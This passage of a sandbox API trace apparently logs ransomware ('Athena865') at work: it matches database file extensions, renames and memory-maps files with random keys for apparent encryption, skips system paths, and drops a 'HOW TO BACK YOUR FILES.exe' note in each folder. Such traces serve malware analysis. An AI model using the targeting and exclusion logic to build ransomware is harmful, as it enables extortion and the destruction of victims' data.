lstrlenW (lpString="alf") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.314] lstrlenW (lpString="ask") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.314] lstrlenW (lpString="btr") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.314] lstrlenW (lpString="cat") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.314] lstrlenW (lpString="cdb") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.314] lstrlenW (lpString="ckp") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.314] lstrlenW (lpString="cma") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.314] lstrlenW (lpString="cpd") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.314] lstrlenW (lpString="dacpac") returned 6 [0110.314] lstrcmpiW (lpString1="al.dll", lpString2="dacpac") returned -1 [0110.314] lstrlenW (lpString="dad") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.315] lstrlenW (lpString="dadiagrams") returned 10 [0110.315] lstrcmpiW (lpString1="ournal.dll", lpString2="dadiagrams") returned 1 [0110.315] lstrlenW (lpString="daschema") returned 8 [0110.315] lstrcmpiW (lpString1="rnal.dll", lpString2="daschema") returned 1 [0110.315] lstrlenW (lpString="db-journal") returned 10 [0110.315] lstrcmpiW (lpString1="ournal.dll", lpString2="db-journal") returned 1 [0110.315] lstrlenW (lpString="db-shm") returned 6 [0110.315] lstrcmpiW (lpString1="al.dll", lpString2="db-shm") returned -1 [0110.315] lstrlenW (lpString="db-wal") returned 6 [0110.315] lstrcmpiW (lpString1="al.dll", lpString2="db-wal") returned -1 [0110.315] lstrlenW (lpString="dbc") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.315] lstrlenW (lpString="dbs") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.315] lstrlenW (lpString="dbt") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.315] lstrlenW (lpString="dbv") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.315] lstrlenW (lpString="dbx") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.315] lstrlenW (lpString="dcb") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.315] lstrlenW (lpString="dct") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.315] lstrlenW (lpString="dcx") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.315] lstrlenW (lpString="ddl") returned 3 [0110.315] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.316] lstrlenW (lpString="dlis") returned 4 [0110.316] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.316] lstrlenW (lpString="dp1") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.316] lstrlenW (lpString="dqy") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.316] lstrlenW (lpString="dsk") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.316] lstrlenW (lpString="dsn") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.316] lstrlenW (lpString="dtsx") returned 4 [0110.316] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.316] lstrlenW (lpString="dxl") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.316] lstrlenW (lpString="eco") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.316] lstrlenW (lpString="ecx") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.316] lstrlenW (lpString="edb") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.316] lstrlenW (lpString="epim") returned 4 [0110.316] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.316] lstrlenW (lpString="fcd") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.316] lstrlenW (lpString="fdb") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.316] lstrlenW (lpString="fic") returned 3 [0110.316] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.316] lstrlenW (lpString="flexolibrary") returned 12 [0110.317] lstrlenW (lpString="fm5") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.317] lstrlenW (lpString="fmp") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.317] lstrlenW (lpString="fmp12") returned 5 [0110.317] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0110.317] lstrlenW (lpString="fmpsl") returned 5 [0110.317] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0110.317] lstrlenW (lpString="fol") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.317] lstrlenW (lpString="fp3") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.317] lstrlenW (lpString="fp4") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.317] lstrlenW (lpString="fp5") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.317] lstrlenW (lpString="fp7") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.317] lstrlenW (lpString="fpt") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.317] lstrlenW (lpString="frm") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.317] lstrlenW (lpString="gdb") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.317] lstrlenW (lpString="gdb") returned 3 [0110.317] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.317] lstrlenW (lpString="grdb") returned 4 [0110.317] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.317] lstrlenW (lpString="gwi") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.318] lstrlenW (lpString="hdb") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.318] lstrlenW (lpString="his") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.318] lstrlenW (lpString="ib") returned 2 [0110.318] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.318] lstrlenW (lpString="idb") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.318] lstrlenW (lpString="ihx") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.318] lstrlenW (lpString="itdb") returned 4 [0110.318] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.318] lstrlenW (lpString="itw") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.318] lstrlenW (lpString="jet") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.318] lstrlenW (lpString="jtx") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.318] lstrlenW (lpString="kdb") returned 3 [0110.318] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.318] lstrlenW (lpString="kexi") returned 4 [0110.318] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.318] lstrlenW (lpString="kexic") returned 5 [0110.318] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0110.318] lstrlenW (lpString="kexis") returned 5 [0110.318] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0110.318] lstrlenW (lpString="lgc") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.319] lstrlenW (lpString="lwx") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.319] lstrlenW (lpString="maf") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.319] lstrlenW (lpString="maq") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.319] lstrlenW (lpString="mar") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.319] lstrlenW (lpString="marshal") returned 7 [0110.319] lstrcmpiW (lpString1="nal.dll", lpString2="marshal") returned 1 [0110.319] lstrlenW (lpString="mas") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.319] lstrlenW (lpString="mav") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.319] lstrlenW (lpString="maw") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.319] lstrlenW (lpString="mdbhtml") returned 7 [0110.319] lstrcmpiW (lpString1="nal.dll", lpString2="mdbhtml") returned 1 [0110.319] lstrlenW (lpString="mdn") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.319] lstrlenW (lpString="mdt") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.319] lstrlenW (lpString="mfd") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.319] lstrlenW (lpString="mpd") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.319] lstrlenW (lpString="mrg") returned 3 [0110.319] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.320] lstrlenW (lpString="mud") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.320] lstrlenW (lpString="mwb") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.320] lstrlenW (lpString="myd") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.320] lstrlenW (lpString="ndf") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.320] lstrlenW (lpString="nnt") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.320] lstrlenW (lpString="nrmlib") returned 6 [0110.320] lstrcmpiW (lpString1="al.dll", lpString2="nrmlib") returned -1 [0110.320] lstrlenW (lpString="ns2") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.320] lstrlenW (lpString="ns3") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.320] lstrlenW (lpString="ns4") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.320] lstrlenW (lpString="nsf") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.320] lstrlenW (lpString="nv") returned 2 [0110.320] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.320] lstrlenW (lpString="nv2") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.320] lstrlenW (lpString="nwdb") returned 4 [0110.320] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.320] lstrlenW (lpString="nyf") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.320] lstrlenW (lpString="odb") returned 3 [0110.320] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.321] lstrlenW (lpString="odb") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.321] lstrlenW (lpString="oqy") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.321] lstrlenW (lpString="ora") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.321] lstrlenW (lpString="orx") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.321] lstrlenW (lpString="owc") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.321] lstrlenW (lpString="p96") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.321] lstrlenW (lpString="p97") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.321] lstrlenW (lpString="pan") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.321] lstrlenW (lpString="pdb") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.321] lstrlenW (lpString="pdm") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.321] lstrlenW (lpString="pnz") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.321] lstrlenW (lpString="qry") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.321] lstrlenW (lpString="qvd") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.321] lstrlenW (lpString="rbf") returned 3 [0110.321] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.321] lstrlenW (lpString="rctd") returned 4 [0110.321] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.322] lstrlenW (lpString="rod") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.322] lstrlenW (lpString="rodx") returned 4 [0110.322] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.322] lstrlenW (lpString="rpd") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.322] lstrlenW (lpString="rsd") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.322] lstrlenW (lpString="sas7bdat") returned 8 [0110.322] lstrcmpiW (lpString1="rnal.dll", lpString2="sas7bdat") returned -1 [0110.322] lstrlenW (lpString="sbf") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.322] lstrlenW (lpString="scx") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.322] lstrlenW (lpString="sdb") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.322] lstrlenW (lpString="sdc") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.322] lstrlenW (lpString="sdf") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.322] lstrlenW (lpString="sis") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.322] lstrlenW (lpString="spq") returned 3 [0110.322] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.322] lstrlenW (lpString="te") returned 2 [0110.322] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.322] lstrlenW (lpString="teacher") returned 7 [0110.322] lstrcmpiW (lpString1="nal.dll", lpString2="teacher") returned -1 [0110.322] lstrlenW (lpString="tmd") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.323] lstrlenW (lpString="tps") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.323] lstrlenW (lpString="trc") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.323] lstrlenW (lpString="trc") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.323] lstrlenW (lpString="trm") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.323] lstrlenW (lpString="udb") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.323] lstrlenW (lpString="udl") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.323] lstrlenW (lpString="usr") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.323] lstrlenW (lpString="v12") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.323] lstrlenW (lpString="vis") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.323] lstrlenW (lpString="vpd") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.323] lstrlenW (lpString="vvv") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.323] lstrlenW (lpString="wdb") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0110.323] lstrlenW (lpString="wmdb") returned 4 [0110.323] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0110.323] lstrlenW (lpString="wrk") returned 3 [0110.323] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0110.324] lstrlenW (lpString="xdb") returned 3 [0110.324] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0110.324] lstrlenW (lpString="xld") returned 3 [0110.324] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0110.324] lstrlenW (lpString="xmlff") returned 5 [0110.324] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0110.324] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.Athena865") returned 72 [0110.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.athena865"), dwFlags=0x1) returned 1 [0110.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.325] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1367552) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.326] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.326] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.326] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.327] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14e100, lpName=0x0) returned 0x17c [0110.328] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14e100) returned 0x2d50000 [0110.388] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.389] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.389] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.390] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0110.402] CloseHandle (hObject=0x17c) returned 1 [0110.402] CloseHandle (hObject=0x154) returned 1 [0110.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.408] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0110.408] lstrcmpiW (lpString1="ko-KR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.408] lstrcmpiW (lpString1="ko-KR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.408] lstrcmpiW (lpString1="ko-KR", lpString2=".") returned 1 [0110.408] lstrcmpiW (lpString1="ko-KR", lpString2="..") returned 1 [0110.408] lstrcmpiW (lpString1="ko-KR", lpString2="windows") returned -1 [0110.408] lstrcmpiW (lpString1="ko-KR", lpString2="bootmgr") returned 1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="temp") returned -1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="pagefile.sys") returned -1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="boot") returned 1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="ids.txt") returned 1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="ntuser.dat") returned -1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="perflogs") returned -1 [0110.409] lstrcmpiW (lpString1="ko-KR", lpString2="MSBuild") returned -1 [0110.409] lstrlenW (lpString="ko-KR") returned 5 [0110.409] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ko-KR" | out: lpString1="ko-KR") returned="ko-KR" [0110.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547738 [0110.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bba0 [0110.409] lstrcatW (in: lpString1="ko-KR", lpString2="\\" | out: lpString1="ko-KR\\") returned="ko-KR\\" [0110.409] lstrcatW (in: lpString1="ko-KR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ko-KR\\HOW TO BACK YOUR FILES.exe") returned="ko-KR\\HOW TO BACK YOUR FILES.exe" [0110.409] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.412] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2=".") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="..") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="windows") returned -1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="bootmgr") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="temp") returned -1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="pagefile.sys") returned -1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="boot") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="ids.txt") returned 1 [0110.412] lstrcmpiW (lpString1="lt-LT", lpString2="ntuser.dat") returned -1 [0110.413] lstrcmpiW (lpString1="lt-LT", lpString2="perflogs") returned -1 [0110.413] lstrcmpiW (lpString1="lt-LT", lpString2="MSBuild") returned -1 [0110.413] lstrlenW (lpString="lt-LT") returned 5 [0110.413] lstrcpyW (in: lpString1=0x241e8ae, lpString2="lt-LT" | out: lpString1="lt-LT") returned="lt-LT" [0110.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547750 [0110.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bc20 [0110.413] lstrcatW (in: lpString1="lt-LT", lpString2="\\" | out: lpString1="lt-LT\\") returned="lt-LT\\" [0110.413] lstrcatW (in: lpString1="lt-LT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="lt-LT\\HOW TO BACK YOUR FILES.exe") returned="lt-LT\\HOW TO BACK YOUR FILES.exe" [0110.413] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.416] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2=".") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="..") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="windows") returned -1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="bootmgr") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="temp") returned -1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="pagefile.sys") returned -1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="boot") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="ids.txt") returned 1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="ntuser.dat") returned -1 [0110.416] lstrcmpiW 